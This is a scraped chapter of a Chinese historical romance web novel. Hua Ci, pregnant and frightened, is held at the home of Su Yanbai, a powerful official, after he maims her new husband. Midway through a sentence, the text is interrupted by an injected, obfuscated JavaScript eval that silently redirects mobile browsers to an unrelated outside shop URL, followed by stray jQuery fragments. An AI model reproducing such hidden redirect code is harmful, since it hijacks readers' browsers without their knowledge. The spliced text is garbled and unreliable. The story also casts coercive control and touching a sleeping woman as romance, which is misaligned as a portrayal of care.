文趣网 > 都市小说 > 被锦衣卫前任强夺 > 47. 第 47 章
    林大夫一见苏砚白那满脸严肃的模样,便知他误会了。

    屋内那位貌美的女子,肤如凝脂,美貌异常,苏砚白定对她情根深种,将她放在心上,珍而重之。

    林大夫也是从年轻时过来的,年轻时的情爱浓烈,关心则乱,他都经历过。此时苏砚白担忧的模样,反而激起林大夫心底那种隐秘的,想要看热闹的心思,故而林大夫没有再进一步解释,反说道:“夫人怀孕已经有五月,却不显身形,也是脾胃不佳的缘故。”

    其实妇人怀孕前期,若因孕吐少食,也不是多么严重的毛病。

    林大夫故意这么一说,就是想看看苏砚白是什么反应。

    最多半个月,他还会再请自己回来把平安脉,到时便能知晓了。

    林大夫开完药,将一幅药方子和一瓶药膏交给絮娘,便离开了。

    林大夫走后,苏砚白坐在床边,用打磨过的竹片挑起晶莹剔透的绿色药膏,涂抹在花辞受伤的手指上。花辞的脸白皙如玉,衣裳下的肌肤也是嫩得像豆腐似的,但她的手却略有些粗糙开裂,因为她不够爱惜自己,常常做那些粗活。

    苏砚白想起她不听话,总是为了省钱,瞒着他上屋顶去做粗活的记忆,心里的怒气上涌,给她包扎的动作,稍微重了些。

    那只手背处肤若凝脂,手指间略有些粗茧的手顿时从他手中抽出,仿佛受到了极大的惊吓。

    是他包扎的动作太重了,把她痛醒了?

    真娇气啊!

    苏砚白见睁开水汪汪、黑亮亮的眼睛,一脸不知自己身在何处的迷糊样子,只觉得心神荡漾,不由得心都被她融化了。

    可是随后,花辞想起来什么似的,眼神里逐渐浮现出恐惧,她抱着被子坐起来,往后退了退。

    想到她居然敢背着他嫁给谭术,想到她因为谭术而对他产生畏惧和敌意,苏砚白心里不由得升起一阵烦躁。

    “既然醒来了,便起来吃点东西吧。”苏砚白脸上没有表情,声音也透着不耐烦。

    花辞并未睡醒,今日发生的一切,就如走马观花般的在她脑海中浮现,让她觉得很荒诞。

    她甚至怀疑,自己是不是做了一场荒诞的噩梦?可是眼前这个华丽典雅的陌生房间,以及一脸冷漠的苏砚白,都在提醒她,她白日里所经历的那场惨剧,是真的。

    还有她手指受过伤的地方也在提醒她,这一切都是真的,不是做梦。

    冰冰凉凉药膏刺痛着伤口,花辞皱了皱眉。

    是苏砚白给她包扎的伤口吗?

    这屋里除了他,也没有旁人了。

    虽然发生了这些事,苏砚白对她的态度冷淡了许多,可他还是像从前那样细心,喜欢亲自照顾她。

    可是花辞心里却无论如何也欢喜不起来。

    她怎敢忘记?她才刚经历过一场比鬼故事还恐怖的噩梦!

    *

    花辞披着头发起床,因为晚上不出门,苏砚白给她梳了一条辫子垂在脑后。

    他牵着她的手,带她走出卧房。

    卧房外的院子很宽敞,花辞记得她刚进来的时候,院子里没有秋千。现在,院子里多了一架秋千,想必是在她睡着的这段时间,苏砚白命人搭建的吧?

    花辞心里咯噔了一下,更加觉得身边这个人,很陌生。

    她从来都没有看清过他的真面目吧!

    他是权臣,他想杀人就杀人,他想把人关起来,就能把人关起来。

    命人在院子里搭一架秋千这种小事,他随便命令一声就行,而她却为此感到震撼。

    为什么呢?因为他们从来都不是一路人。

    她心里起了这个念头之后,白天发生的事,再一次清晰地在她脑海中浮现。随之而来的,便是炼狱里那股奇怪的味道,混合着霉味、潮湿、屎尿味、血腥味的气息始终萦绕在她周围,无论如何都挥散不去。

    走出院子,拐个弯,便来到吃饭的厅堂。

    房间不大,同样布置得很精致,黄花梨木的八仙桌上摆满了十几道菜,似乎知道她有吃不完怕浪费的心理压力,故而每道菜的分量都不多。一道清蒸黄鱼,一道盐水鸭,一道糯米蒸排骨,一道酸辣藕尖炒鸡腿肉,一道糖醋里脊,一道椒盐酥虾,还有些凉菜和清淡的蔬菜,都是花辞平日爱吃的口味。

    顶着苏砚白注视的目光,花辞坐下来。

    她其实肚子很饿了,这几天都没有胃口,她今天白天几乎没有吃东西。金娘子怕她饿得晕倒,劝她吃了半碗芝麻糊和一小块香瓜。

    但是那股奇怪的味道,一直萦绕在她鼻端,再加上思绪不宁,而身侧的苏砚白又让她隐隐觉得畏惧,让她没有半点吃饭的胃口。

    屋子里没有人说话,很奇怪。

    苏砚白一直盯着她,花辞只好端起碗,低着头扒饭。

    满桌子都是她爱吃的菜,她却只吃白米饭!她是不是在跟自己怄气?

    苏砚白夹了她最爱吃的糖醋里脊,放在她碗里,命令道:“吃菜。”

    那语气,不容置喙,不容拒绝。

    花辞如芒在背,战战兢兢地夹起糖醋肉,放进嘴里。

    白米饭站着红色的糖醋汁,让她联想到谭术血肉模糊的伤口和骨头。因为怀孕,她一直吃不了猪肉,只觉得猪肉有股很浓的骚味。现在这股骚味在她嘴里散开,让她联想到了牢房里那只蹲在她绣鞋上的老鼠,那只老鼠身上的臭味似乎也跟这猪肉差不多。

    花辞脸色惨白,胃里一阵翻涌,却因为苏砚白那盯梢似的目光,立刻捂住嘴,逼着自己吞下去,却把自己恶心得泪花冒出来。

    苏砚白见她吃得如此辛苦,拿着痰盂走到她面前,烦躁地道:“吃不下就吐出来吧。”

    得到他的许可,花辞不再强迫自己,而是痛快地吐了个干净。

    晚上吃的东西,全部都吐了出来,直到她呕出酸水,胃里全部清空为止。

    苏砚白放下痰盂,给她递茶水漱口,又拿出帕子给她擦嘴。

    花辞虚弱地抬头,对脸色阴沉的苏砚白说:“对不起,耽误了这一桌好菜,不是菜不好吃,是我不好。”

    经历了白天的事,在花辞眼里,苏砚白宛如一个怪物,他比向百户还要可怕。

    她今晚什么都吃不下,苏砚白会不会因

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682934|204627||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此而迁怒府上的厨子呢?

    花辞不想牵连无辜的人。

    她的嗓子受了酸水的刺激,有些微微沙哑。又因为憔悴,脸色苍白,苏砚白见她分明已经很不好受了,还在为别人考虑,心里的烦躁更加浓郁。

    “随你吧,爱吃不吃。”

    苏砚白明白,她现在恐惧他。她向来胆小,就连看他杀只鸡晚上都会做噩梦,今日亲眼见他砍下谈术的手,难免会受到惊吓。

    可是,不让她长点记性,她由着性子胡来,又要嫁给别人怎么办?

    他可以宠爱她,却不能没有底线。

    只是她到底怀着身子,若是一直不吃东西,孩子还没生出来,自己就把自己给折腾死了。

    若不是知道堕胎伤身,依着苏砚白的脾气,他今晚就要给她灌一碗堕胎药,免她再受怀孕之苦。

    *

    苏砚白夜里还有事要处理,花辞一个人回房间睡。

    她已经接受自己不是苏砚白的妻子,也想到了苏砚白今后不会同她一起睡。

    她也不想和苏砚白睡同一张床,她现在对他生出了抵触之心。

    因为没有吃什么东西,花辞身体虚弱,迷迷糊糊间,又昏睡过去了。等苏砚白处理完事情回来的时候,她已经睡得很沉。

    苏砚白以为她今日受到惊吓,会睡不着,谁知她却睡得如此安稳。

    他心里滋味复杂,也不知是欣慰,还是失落。

    失落于花辞竟然不像从前那样等他回来,自己先一个人睡了。

    怕她夜里会做噩梦惊醒,苏砚白留了一盏灯,没有吹灭。

    他脱了衣裳,换上寝衣,在她身旁躺下。

    她平躺着,睡得很安稳,不再像饭桌上那般,对他充满防备。

    她身姿纤细,怀孕只让她原本丰腴的地方更加丰腴,纤细的腰肢越发纤细。

    苏砚白抚摸着她微微隆起的肚子,想起大夫说她怀孕五个月了。算算日子,应该是在马车上那次怀上的。苏砚白不愿让她怀孕,每次行房,都会在沐浴时用推拿的手法,将她体内的东西逼出来。故而成亲三年多,花辞从未怀孕。

    只有马车上那次,苏砚白太过忘情,乱了分寸。

    苏砚白抚摸着她的肚子,抚摸着她盈盈一握的腰肢,继而明目张胆地握住她的足。

    他坐起来,捧着她雪白的足,在粉嫩的脚趾处轻轻吻了一下,那日在马车里的颠倒胡来的记忆涌入他的脑海。

    花辞正睡得迷迷糊糊,足尖传来一阵酥麻刺挠的痒,她被这奇怪的柔软触觉给惊醒了,朦朦胧胧的睁开眼睛,只见床边坐了个人,正捧着她的脚,像个变态狂一样在亲吻她的脚。

    这不是从前的苏砚白能干出来的事!

    花辞下意识地以为,房间里进了贼,一脚朝那人心口踹了过去。

    她本就娇娇弱弱,又一整天没吃饭,这一脚踹过去,能有多大力气?

    反而被对方的手掌桎梏。

    “别动。”

    听到熟悉的声音,花辞愣了愣,借着昏黄的灯光仔细打量,才发现刚才那个“登徒子”,竟然是苏砚白。